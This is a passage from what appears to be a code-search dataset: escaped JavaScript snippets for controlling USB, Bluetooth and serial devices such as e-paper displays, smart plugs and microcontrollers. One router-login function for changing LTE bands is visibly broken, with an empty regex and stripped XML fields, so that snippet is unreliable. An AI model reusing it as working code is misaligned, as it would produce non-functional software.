command\n\tConvertRAIDType(GUID, NewRAIDType);\n}","async function blxSendBinblock (data, fname, syncflag, mem_addr) {\n let txlen_total = data.length\n let tx_pos = 0\n const time0 = Date.now() - 1000\n let tw_old = time0\n let tw_new // Working Time fuer Fortschritt\n let sblk_len = (max_ble_blocklen - 2) & 0xFFFC // Initial MAX Size Block, but Multi of 4\n\n if (data.length > 1000) { // Mehr als 1k Daten UND File: -> FAST\n\n if(fname === undefined){\n // Might bee too fast for Download to CPU Memory, set to slow with .cf 15 or greater!!!\n if(con_memfast_speed < 15)\n terminalPrint(\"*** WARNING: Memory Connection Speed: \" + con_memfast_speed ) \n const os = con_fast_speed // temporaer mit MEMORY Speed\n con_fast_speed = con_memfast_speed\n await blxConnectionFast()\n con_fast_speed = os\n }else{\n await blxConnectionFast()\n } \n if (blxErrMsg) return\n // console.log(\"Fast OK\");\n }\n if(fname!== undefined) await blxDeviceCmd('P' + (syncflag ? '!' : '') + ':' + fname, 5000) // P wie PUT\n else {\n {\n let wadr = mem_addr\n let wsize = txlen_total\n const sector_size = 4096 // Fix fuer nrF52\n // Sektoren in einzeln Loeschen, da langsam\n while(wsize>0){\n await blxDeviceCmd('K:' + wadr + ' ' + 1 , 5000) \n if (blxErrMsg) return\n wadr+=sector_size\n wsize-=sector_size\n }\n }\n await blxDeviceCmd('I:' + mem_addr, 5000) // I wie Internal\n }\n if (blxErrMsg) return\n\n try {\n for (;;) {\n let blen = txlen_total // Blocklen\n if (blen > sblk_len ) blen = sblk_len\n const bdata = new Uint8Array(blen + 2)\n bdata[0] = blen\n bdata[1] = BB_BLE_BINBLK_IN // Binary Data\n // Aufgabe: data[tx_pos] an bdata[2] kopieren\n const datablock = data.subarray(tx_pos, tx_pos + blen)\n bdata.set(datablock, 2) // Copies datablock into bdata\n\n await NUS_data_chara_write.writeValue(bdata.buffer)\n\n // console.log(bdata);\n txlen_total -= blen\n tx_pos += blen\n if (!txlen_total) {\n const dtime = Date.now() - time0\n terminalPrint('Transfer OK (' + dtime / 1000 + ' sec, ' + ((data.length / dtime * 1000).toFixed(0)) + ' Bytes/sec)')\n break\n }\n tw_new = Date.now()\n if (tw_new - tw_old > 1000) { // Alle Sekunde Fortschritt\n tw_old = tw_new\n terminalPrint(((tx_pos * 100) / data.length).toFixed(0) + '% / ' + tx_pos + ' Bytes')\n }\n }\n } catch (error) {\n if (full_connected_flag === false) blxErrMsg = 'ERROR: Connection lost'\n else blxErrMsg = 'ERROR: Transfer ' + error\n return\n }\n\n await blxDeviceCmd('L', 5000) // Close\n\n if (blxErrMsg) return\n if (data.length > 1000) { // Mehr als 1k Daten: -> Wieder SLOW\n await blxConnectionSlow()\n }\n }","function processData(buffer) {\n console.log(\"Status: \"+status);\n console.log('Read message: \"' + buffer + '\"');\n if (buffer.toString() == 'Ok!' && status == 0 && type !=1) {\n //Emepzamos el envio\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += data[hexInd];\n pxInd += 4;\n hexInd++;\n }\n\n if (pxInd >= w * h) status++; \n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"Buffer to send1: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 0 && type == 1) {\n //Emepzamos el envio pantalla a color\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += data[hexInd];\n pxInd += 2; //cada pixel son 2 bits, por eso para cada hex tenemos avanzar 2 pixeles.\n hexInd++;\n }\n if (pxInd >= w * h) status++;\n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3);\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"Buffer to send info: dSizeCalc\"+dSizeCalc+\" buffIndCalc: \"+buffIndCalc+\" pxInd: \"+pxInd);\n console.log(\"Buffer to send2: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 1 && type != 1) {\n //Hacemos el Show\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: S\");\n });\n status = 4;\n console.log(\"Desconectamos....\");\n clearTimeout(timeout);\n screenDisconect(false);\n return response.send({\n message: 'Success at updating the device: ' + macaddress,\n });\n } else if (buffer.toString() == 'Ok!' && status == 1 && type == 1) {\n //Hacemos el Next\n\n pxInd =0;\n hexInd = 0;\n\n epdCharacteristic.write(Buffer.from('N', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: N\"); \n });\n status = 2;\n } else if (buffer.toString() == 'Ok!' && status == 2 && type == 1) {\n //Hacemos el Load del Next\n //let dataNext = req.body.dataNext;\n //Emepzamos el envio\n rqMsg = '';\n\n while ((pxInd < w * h) && (rqMsg.length < 256 - 12)) { //Bytes disponibles\n rqMsg += dataNext[hexInd];\n pxInd += 4; //en caso de rojo, cada pixel es un bit.\n hexInd++;\n }\n if (pxInd >= w * h) status = 3;\n\n const arr = new Uint16Array(2);\n\n buffIndCalc = (rqMsg.length + 12) / 2;\n const buffInd = Buffer.alloc(2);\n buffInd.writeUInt16LE(buffIndCalc);\n\n dSizeCalc += buffIndCalc;\n\n const dSize = Buffer.alloc(3);\n dSize.writeUInt16LE(dSizeCalc, 0, 3)\n\n\n var bufferToSend = Buffer.concat([Buffer.from('L', 'ascii'), buffInd, dSize, Buffer.from(rqMsg, 'hex')]);\n console.log(\"N_Buffer to send3: \" + bufferToSend.toString('hex'));\n\n\n epdCharacteristic.write(bufferToSend, function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: L\");\n });\n } else if (buffer.toString() == 'Ok!' && status == 3 && type == 1) {\n console.log(\"Finalizamos...\");\n //Hacemos el Show\n epdCharacteristic.write(Buffer.from('S', 'ascii'), function(err, bytesWritten) {\n if (err) console.log(err);\n console.log(\"wrote: S\");\n });\n status = 4;\n console.log(\"Desconectamos....\");\n clearTimeout(timeout);\n screenDisconect(false);\n return response.send({\n message: 'Success at updating the device: ' + macaddress,\n });\n }\n trytoread();\n }","function setDeviceEnabledBand() {\n\tconsole.log('info: setDeviceEnabledBand() is called.');\n\n\t// Get csrf_token\n\tvar api = '/';\n\tvar url = 'http://' + document.apiform.address.value + api;\n\tupdateMessage(url, '', 'Connecting...', '');\n\n\tvar xhr = new XMLHttpRequest();\n\txhr.open('GET', url, false);\n\txhr.withCredentials = true;\n\txhr.onerror = function(e) {\n\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\n\t};\n\txhr.send(null);\n\n\tif (xhr.status === 200) {\n\t\tvar str = xhr.responseText;\n\t\tvar csrf_token = str.match(//i);\n\t\tcsrf_token = csrf_token[1];\n\t\tif (csrf_token != null) {\n\t\t\tupdateMessage(url, xhr.statusText, 'Success to get a token: ' + csrf_token, '');\n\t\t} else {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Fail to get the token.', '');\n\t\t\treturn -1;\n\t\t}\n\n\t\t// Login\n\t\tapi = '/api/user/login';\n\t\turl = 'http://' + document.apiform.address.value + api;\n\t\tupdateMessage(url, '', 'Connecting...', '');\n\n\t\txhr.open('POST', url, false);\n\t\txhr.onerror = function(e) {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', '');\n\t\t};\n\n\t\t// Generate credential\n\t\tvar username = 'admin';\n\t\tvar password = document.apiform.password.value;\n\t\tvar password_hash = encryptSHA256(username + encryptSHA256(password) + csrf_token);\n\n\t\tvar login_params = '';\n\t\tlogin_params += '\\r';\n\t\tlogin_params += '\\r';\n\t\tlogin_params += '' + username + '\\r';\n\t\tlogin_params += '' + password_hash + '\\r';\n\t\tlogin_params += '4\\r';\n\t\tlogin_params += '\\r';\n\t\tconsole.log(login_params);\n\n\t\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n\t\txhr.setRequestHeader('__RequestVerificationToken', csrf_token);\n\t\txhr.send(login_params);\n\n\t\t// Login Result\n\t\tif (xhr.status === 200) {\n\t\t\t\n\t\t\tvar error_code = xhr.responseText.match(/([0-9]+)<\\/code>/i);\n\t\t\tif (error_code == null) {\n\t\t\t\tupdateMessage(url, xhr.statusText, 'Login Successful!', xhr.responseText);\n\n\t\t\t\t// Set LTE Bands\n\t\t\t\tapi = '/api/net/net-mode';\n\t\t\t\turl = 'http://' + document.apiform.address.value + api;\n\t\t\t\tupdateMessage(url, '', 'Connecting...', '')\n\t\t\t\ttoken = xhr.getResponseHeader('__RequestVerificationTokenOne');\n\t\t\t\txhr.open('POST', url, true);\n\t\t\t\txhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n\t\t\t\txhr.setRequestHeader('__RequestVerificationToken', token);\n\t\t\t\txhr.onload = function(e) {\n\t\t\t\t\terror_code = xhr.responseText.match(/([0-9]+)<\\/code>/i);\n\t\t\t\t\tconsole.log(error_code);\n\t\t\t\t\tif (error_code == null) {\n\t\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Change Successful!', xhr.responseText);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\n\t\t\t\t\t}\n\t\t\t\t};\n\t\t\t\txhr.onerror = function(e) {\n\t\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: Check Parameters.', '')\n\t\t\t\t};\n\t\t\t\txhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=\"UTF-8\"');\n\t\t\t\tconsole.log(document.apiform.reqparams.value);\n\t\t\t\txhr.send(document.apiform.reqparams.value);\n\n\t\t\t} else {\n\t\t\t\tupdateMessage(url, xhr.statusText, 'Error: ' + ERRORS[error_code[1]], xhr.responseText);\n\t\t\t}\n\t\t\t\n\t\t} else {\n\t\t\tupdateMessage(url, xhr.statusText, 'Error: Cannot access.', xhr.responseText);\n\t\t}\n\n\t} else {\n\t\tupdateMessage(url, xhr.statusText, 'Error: Check the address or your browser status (Cross-Origin Resource Sharing).', '')\n\t}\n}","async send() {\n const onComplete = this.props.navigation.state.params.onComplete;\n try {\n let done = await this.props.wire.send();\n\n if (!done) {\n return;\n }\n\n if (onComplete) onComplete();\n this.props.navigation.goBack();\n } catch (e) {\n if (!e || e.message !== 'E_CANCELLED') {\n console.error('Wire/send()', e);\n\n Alert.alert(\n 'There was a problem sending wire',\n (e && e.message) || 'Unknown internal error',\n [{ text: 'OK' }],\n { cancelable: false }\n );\n }\n }\n }","function onOpen() {\n console.log('Port Open');\n console.log(`Baud Rate: ${port.options.baudRate}`);\n const outString = String.fromCharCode(output);\n console.log(`Sent:\\t\\t${outString}`);\n port.write(outString);\n}"],"string":"[\n \"async function RequestUSBDevice() { \\n await navigator.usb.requestDevice({ filters: [{}] });\\n}\",\n \"async function SendBlyncUSB30ControlCommand(deviceInfo, byRedValue, byGreenValue, byBlueValue, byLightControl, byMusicControl_1, byMusicControl_2) {\\n\\n try {\\n var device = deviceInfo.device;\\n\\n await device.open();\\n //await device.reset();\\n\\n if (device.configuration === null) {\\n await device.selectConfiguration(1);\\n }\\n\\n\\t\\tawait device.claimInterface(0);\\n\\t\\t\\n abyBlyncUsb30ReportBuffer[0] = byRedValue;\\n abyBlyncUsb30ReportBuffer[1] = byBlueValue;\\n abyBlyncUsb30ReportBuffer[2] = byGreenValue;\\n abyBlyncUsb30ReportBuffer[3] = byLightControl;\\n abyBlyncUsb30ReportBuffer[4] = byMusicControl_1;\\n abyBlyncUsb30ReportBuffer[5] = byMusicControl_2;\\n abyBlyncUsb30ReportBuffer[6] = 0xFF;\\n abyBlyncUsb30ReportBuffer[7] = 0x22;\\n\\n var result = await device.controlTransferOut( \\n {\\n requestType: 'class',\\n recipient: 'interface',\\n request: 0x09,\\n value: 0x0200,\\n index: 0x0000\\n },\\n abyBlyncUsb30ReportBuffer);\\n\\n await device.close();\\n } catch (e) {\\n console.log(\\\"Exception: \\\" + e);\\n }\\n}\",\n \"respondToArduino(command){\\n BluetoothSerial.write(command)\\n .then((res) => {\\n console.log(res, command)\\n })\\n .catch((err) => console.log(err.message))\\n }\",\n \"requestUsb() {\\n return new Observable(observer => {\\n navigator.usb.requestDevice({ filters: [] })\\n .then((result) => {\\n this.vendorId = result.vendorId;\\n this.productId = result.productId;\\n return observer.next(result);\\n }).catch(error => {\\n return observer.error(error);\\n });\\n });\\n }\",\n \"async function uBitOpenDevice(device, callback) {\\n const transport = new DAPjs.WebUSB(device)\\n const target = new DAPjs.DAPLink(transport)\\n let buffer=\\\"\\\" // Buffer of accumulated messages\\n const parser = /([^.:]*)\\\\.*([^:]+|):(.*)/ // Parser to identify time-series format (graph:info or graph.series:info)\\n \\n target.on(DAPjs.DAPLink.EVENT_SERIAL_DATA, data => {\\n buffer += data;\\n let firstNewline = buffer.indexOf(\\\"\\\\n\\\")\\n while(firstNewline>=0) {\\n let messageToNewline = buffer.slice(0,firstNewline)\\n let now = new Date() \\n // Deal with line\\n // If it's a graph/series format, break it into parts\\n let parseResult = parser.exec(messageToNewline)\\n if(parseResult) {\\n let graph = parseResult[1]\\n let series = parseResult[2]\\n let data = parseResult[3]\\n let callbackType = \\\"graph-event\\\"\\n // If data is numeric, it's a data message and should be sent as numbers\\n if(!isNaN(data)) {\\n callbackType = \\\"graph-data\\\"\\n data = parseFloat(data)\\n }\\n // Build and send the bundle\\n let dataBundle = {\\n time: now,\\n graph: graph, \\n series: series, \\n data: data\\n }\\n callback(callbackType, device, dataBundle)\\n } else {\\n // Not a graph format. Send it as a console bundle\\n let dataBundle = {time: now, data: messageToNewline}\\n callback(\\\"console\\\", device, dataBundle)\\n }\\n buffer = buffer.slice(firstNewline+1) // Advance to after newline\\n firstNewline = buffer.indexOf(\\\"\\\\n\\\") // See if there's more data\\n }\\n });\\n await target.connect();\\n await target.setSerialBaudrate(115200)\\n //await target.disconnect();\\n device.target = target; // Store the target in the device object (needed for write)\\n device.callback = callback // Store the callback for the device\\n callback(\\\"connected\\\", device, null) \\n target.startSerialRead()\\n return Promise.resolve()\\n}\",\n \"async send_cmd(cmd, options={}) {\\n const data = options.data;\\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\\n\\n if (!this.device || !this.device.opened) {\\n this.log(\\\"error: device not connected.\\\\n\\\", \\\"red\\\");\\n this.log(\\\"Use button to connect to a supported programmer.\\\\n\\\", \\\"red\\\");\\n return Promise.reject(\\\"error: device not opened\\\");\\n }\\n\\n const opts = {\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 250,\\n value: this.CMD_LUT[cmd],\\n index: cmdIndex\\n };\\n\\n // transfer data out\\n const res = data\\n ? await this.device.controlTransferOut(opts, data)\\n : await this.device.controlTransferOut(opts);\\n\\n // sleep for a bit to give the USB device some processing time leeway\\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\\n\\n return this.device.controlTransferIn({\\n requestType: \\\"vendor\\\",\\n recipient: \\\"device\\\",\\n request: 249,\\n value: 0x70,\\n index: 0x81\\n }, 64).then(result => {\\n return textDecode\\n ? (new TextDecoder()).decode(result.data)\\n : result.data.buffer;\\n });\\n }\",\n \"function sendCompleted(usbEvent) {\\n\\tif (chrome.runtime.lastError) {\\n\\t\\tconsole.error(\\\"sendCompleted Error:\\\", chrome.runtime.lastError.message);\\n\\t}\\n\\n\\tif (usbEvent) {\\n\\t\\tif (usbEvent.data) {\\n\\t\\t\\tvar buf = new Uint8Array(usbEvent.data);\\n\\t\\t\\tconsole.log(\\\"sendCompleted Buffer:\\\", usbEvent.data.byteLength, buf);\\n\\t\\t}\\n\\t\\tif (usbEvent.resultCode !== 0) {\\n\\t\\t\\tchangeState(state.connected);\\n\\t\\t\\terrorln(\\\"Error writing to device: \\\" + chrome.runtime.lastError.message);\\n\\t\\t}\\n\\t}\\n}\",\n \"async getRequestDeviceInfo() {\\n const outputReportID = 0x01;\\n const subcommand = [0x02];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n\\n return new Promise((resolve) => {\\n const onDeviceInfo = ({ detail: deviceInfo }) => {\\n this.removeEventListener('deviceinfo', onDeviceInfo);\\n delete deviceInfo._raw;\\n delete deviceInfo._hex;\\n resolve(deviceInfo);\\n };\\n this.addEventListener('deviceinfo', onDeviceInfo);\\n });\\n }\",\n \"function send(data) {\\n\\n if(MODE == MODES.TEST) {\\n ws.send(data);\\n } else if(MODE == MODES.BLUETOOH) {\\n\\n var data = new Uint8Array(1);\\n data[0] = data;\\n\\n ble.write(id, serviceId, serviceName, data.buffer, function() {\\n console.log(\\\"ble -> sendSucess\\\");\\n }, function(err) {\\n console.log(\\\"ble -> sendFailure : \\\" + JSON.stringify(err));\\n });\\n\\n }\\n\\n}\",\n \"function readRHUSB() {\\n port.write(\\\"PA\\\\r\\\\n\\\");\\n}\",\n \"function processDeviceCommand(request, response) {\\n\\t\\n\\tvar deviceIP = request.headers[\\\"tuyapi-ip\\\"]\\n\\tvar deviceID = request.headers[\\\"tuyapi-devid\\\"]\\n\\tvar localKey = request.headers[\\\"tuyapi-localkey\\\"]\\n\\tvar command = request.headers[\\\"tuyapi-command\\\"] \\n\\n\\t//var respMsg = \\\"deviceCommand sending to deviceID: \\\" + deviceID + \\\" Command: \\\" + command;\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command;\\n\\tconsole.log(respMsg);\\n\\n\\tvar device = new TuyaDevice({\\n\\t //ip: deviceIP,\\n\\t id: deviceID,\\n\\t key: localKey\\n\\t , issueGetOnConnect: false\\n\\t});\\n\\n\\tdevice.on('error', error => {\\n\\t\\tconsole.log('Error!', error);\\n\\t});\\n\\n\\t(async () => {\\n\\t\\tawait device.find();\\t \\n\\n\\t\\tawait device.connect();\\t \\n\\t\\tconsole.log('Connected to device!');\\n\\t\\tlet status = await device.get();\\t \\n\\t\\tconsole.log(`Current status: ${status}.`);\\t\\n\\t\\tswitch(command) {\\n\\t\\t\\tcase \\\"off\\\":\\t\\n\\t\\t\\t\\tconsole.log('Setting to false!');\\n\\t\\t\\t\\tawait device.set({set: false});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"on\\\":\\n\\t\\t\\t\\tconsole.log('Setting to true!');\\n\\t\\t\\t\\tawait device.set({set: true});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"status\\\":\\t\\n\\t\\t\\t\\tconsole.log('Received status request!');\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tstatus = await device.get(); \\t\\t \\n\\t\\tconsole.log(`New status: ${status}.`);\\t \\n\\t\\tdevice.disconnect();\\n\\n\\t\\ttry{\\n\\t\\t\\tconsole.log(\\\"Sending Status to SmartThings:\\\" +status);\\t\\n\\t\\t\\tresponse.setHeader(\\\"tuyapi-onoff\\\", status);\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", status);\\n\\t\\t\\tresponse.end();\\n\\t\\t\\tconsole.log(\\\"Status sent to SmartThings:\\\" +status);\\t\\n\\t\\t}catch (err){\\n\\t\\t\\tconsole.log(\\\"Error:\\\" +err);\\t\\n\\t\\t}\\n\\t})();\\t\\n}\",\n \"function bleSend() {\\n /* check if the device is connected if true send file*/\\n let encoder = new TextEncoder('utf-8');\\n\\n if(isConnected){\\n /* send an erase command so that the file gets started fresh */\\n RX_characteristic.writeValue(encoder.encode(\\\"erase\\\"));\\n for(let a = 0; a<3000; a++){\\n console.log(\\\"\\\")\\n }\\n /* get the contents of the editor that is in use */\\n let editorContents = editor.getValue();\\n /* send the contents to the device */\\n //split the editor contents into newlines.\\n temp = editorContents.split(/\\\\n/);\\n for(let i=0; idebug: '\\\" + msg + \\\"'\\\");\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tcase CMD_PING:\\n\\t\\t\\tmessageln(\\\"ping\\\");\\n\\t\\t\\tbreak;\\n\\t\\tcase CMD_VERSION:\\n\\t\\t{\\n\\t\\t\\tvar version = \\\"\\\" + dv.getUint8(2) + \\\".\\\" + dv.getUint8(3);\\n\\t\\t\\tmessageln(\\\"command: Version \\\" + version);\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t\\tdefault:\\n\\t\\t\\terrorln(\\\"unknown command\\\");\\n\\t\\t\\tbreak;\\n\\t}\\n\\n\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n}\",\n \"async function findUSBDevice(event) {\\n // STEP 1A: Auto-Select first port\\n if (event.type == 'AutoConnect' || event.type == 'Reconnect') {\\n // ports = await getPorts()\\n //STEP 1A: GetPorts - Automatic at initialization\\n // -Enumerate all attached devices\\n // -Check for permission based on vendorID & productID\\n devices = await navigator.usb.getDevices();\\n ports = devices.map((device) => new serial.Port(device)); //return port\\n\\n if (ports.length == 0) {\\n port.statustext_connect =\\n 'NO USB DEVICE automatically found on page load';\\n console.log(port.statustext_connect);\\n } else {\\n var statustext = '';\\n if (event.type == 'AutoConnect') {\\n statustext = 'AUTO-CONNECTED USB DEVICE ON PAGE LOAD!';\\n } else if (event.type == 'Reconnect') {\\n statustext = 'RECONNECTED USB DEVICE!';\\n }\\n port = ports[0];\\n try {\\n await port.connect();\\n } catch (error) {\\n console.log(error);\\n }\\n port.statustext_connect = statustext;\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n }\\n }\\n\\n // STEP 1B: User connects to Port\\n if (\\n event.type == 'pointerup' ||\\n event.type == 'touchend' ||\\n event.type == 'mouseup'\\n ) {\\n event.preventDefault(); //prevents additional downstream call of click listener\\n try {\\n //STEP 1B: RequestPorts - User based\\n // -Get device list based on Arduino filter\\n // -Look for user activation to select device\\n const filters = [\\n { vendorId: 0x2341, productId: 0x8036 },\\n { vendorId: 0x2341, productId: 0x8037 },\\n { vendorId: 0x2341, productId: 0x804d },\\n { vendorId: 0x2341, productId: 0x804e },\\n { vendorId: 0x2341, productId: 0x804f },\\n { vendorId: 0x2341, productId: 0x8050 },\\n ];\\n\\n device = await navigator.usb.requestDevice({ filters: filters });\\n port = new serial.Port(device); //return port\\n\\n await port.connect();\\n\\n port.statustext_connect = 'USB DEVICE CONNECTED BY USER ACTION!';\\n console.log(port.statustext_connect);\\n\\n //Hide manual connect button upon successful connect\\n document.querySelector('button[id=connectusb]').style.display = 'none';\\n } catch (error) {\\n console.log(error);\\n }\\n waitforClick.next(1);\\n }\\n} //FUNCTION findUSBDevice\",\n \"function bleConsole(value){\\n const y = document.getElementById('serial')\\n /* check if the device is connected if true send file*/\\n if(isConnected){\\n /* need to read the value of the TX_char\\n * may need some kind of loop or trigger to watch if new data comes in????\\n * not sure what I want to implement for this yet....\\n */\\n // y.innerText = TX_characteristic.readValue(); TODO does not work\\n }else{\\n const x = document.getElementById('console');\\n x.style.display =\\\"none\\\";\\n alert(\\\"MicroTrynkit device not connected. Please pair it first.\\\");\\n }\\n\\n}\",\n \"writeLoginControl(data) {\\n var arrData = [17,16,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginControl_1',data_send);\\n for (var i = 0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginControl successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginControl failed ',error);\\n });\\n }\",\n \"function onData(d){\\n var frame,\\n generatedData,\\n response;\\n\\n frame = TBus.parse(d);\\n\\n if(!frame.valid){\\n console.log(\\\"Invalid frame received.\\\");\\n return;\\n }\\n\\n if(!Devices[frame.receiver[0]]){\\n console.log(\\\"Device is not supported.\\\");\\n }\\n\\n generatedData = Devices[frame.receiver[0]].randomData();\\n response = TBus.prepareCommand(frame.sender, frame.receiver, generatedData);\\n\\n setTimeout(function(){\\n /*\\n var one,\\n two;\\n\\n one = new Buffer(response.slice(0,5));\\n two = new Buffer(response.slice(5,response.length));\\n serialPort.write(one);\\n setTimeout(function(){\\n serialPort.write(two);\\n },110);\\n */\\n serialPort.write(response);\\n },0);\\n}\",\n \"enumerate_devices() {\\n const filters = {filters: [\\n {vendorId: 0x16D0}\\n ]};\\n\\n if (!this.usb) {\\n this.log(\\\"error: WebUSB not supported\\\\n\\\", \\\"red\\\");\\n return;\\n }\\n\\n this.usb.requestDevice(filters)\\n .then(dev => this.connect_device(dev))\\n .catch(error => {\\n if (String(error) === \\\"SecurityError: Must be handling a user gesture to show a permission request.\\\") {\\n this.log(\\\"Please click 'Connect Device' on the left toolbar.\\\", \\\"black\\\");\\n } else if (String(error) === \\\"NotFoundError: No device selected.\\\") {\\n this.log(\\\"Please select a WebUSB device.\\\", \\\"red\\\");\\n } else {\\n this.log(String(error));\\n this.log(\\\"error: unable to enumerate USB device list\\\");\\n }\\n });\\n }\",\n \"function bluetooth(){\\n\\n if (!navigator.bluetooth) {\\n return alert('Web Bluetooth API is not available in this browser. Please use chrome.');\\n }\\n const z = document.getElementById('debugger');\\n const y = document.getElementById('serial')\\n\\n if (z.style.display ===\\\"none\\\"){\\n z.style.display = \\\"block\\\";\\n }else{\\n }\\n \\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ ('Requesting Bluetooth Devices');\\n navigator.bluetooth.requestDevice({\\n filters:[{\\n name: 'MicroTrynkit',\\n }],\\n optionalServices: [service]\\n })\\n .then(device=>{\\n z.innerHTML = z.innerHTML + \\\"\\\\n\\\"+ (\\\"Connected to: \\\");\\n z.innerHTML= z.innerHTML +\\\"\\\\n\\\"+ (\\\">Name:\\\" + device.name);\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (\\\">id:\\\" + device.id);\\n isConnected = 1;\\n bledevice = device;\\n return device.gatt.connect();\\n })\\n .then(server=>{\\n bleserver = server;\\n return server.getPrimaryService(service);\\n })\\n .then(service => {\\n return service.getCharacteristic(RX_char)\\n .then(characteristic => {\\n console.log(characteristic);\\n RX_characteristic = characteristic;\\n return service.getCharacteristic(TX_char);\\n })\\n })\\n .then(characteristic => {\\n console.log(characteristic);\\n TX_characteristic = characteristic;\\n /* add an event listener to the TX characteristic */\\n TX_characteristic.addEventListener('valueUpdate', handleValueUpdated);\\n console.log(TX_characteristic.readValue());\\n })\\n .then( value =>{\\n /* try to read from the device and print to console */\\n // y.innerText = value.getUint8(0);\\n // console.log(value.getUint8(0));\\n })\\n .catch(error=> {\\n z.innerHTML= z.innerHTML + \\\"\\\\n\\\"+ (error);\\n });\\n}\",\n \"function ble_transmit_cmd(cmd) {\\n if(cmd == 0){\\n for(var i = 0; i < g_rawcode_length/2; i = i + 1){\\n uiProgressBar(g_rawcode_length/2, i+1);\\n\\n var tx_data = [];\\n\\n /*\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[j] = 0xff & (i >> (8*(1-j)));\\n }\\n */\\n //CMD\\n tx_data[0] = 0;\\n //index\\n tx_data[1] = i & 0xff;\\n\\n\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\\n }\\n\\n //freq(0:38k, 1;40k)\\n tx_data[4] = 0;\\n //Format(0:unknown, 1:NEC, 2:SONY...)\\n tx_data[5] = 1;\\n\\n //Number of Frame\\n for(var j = 0; j < 2; j = j + 1){\\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\\n }\\n\\n //Data0\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Data1\\n for(var j = 0; j < 4; j = j + 1){\\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\\n }\\n\\n //Transmit\\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n }\\n }else{\\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\\n uiDebugMessage(\\\"liffWriteLoadMatrix - Req\\\");\\n uiStatusError(makeErrorMsg(error), false);\\n });\\n 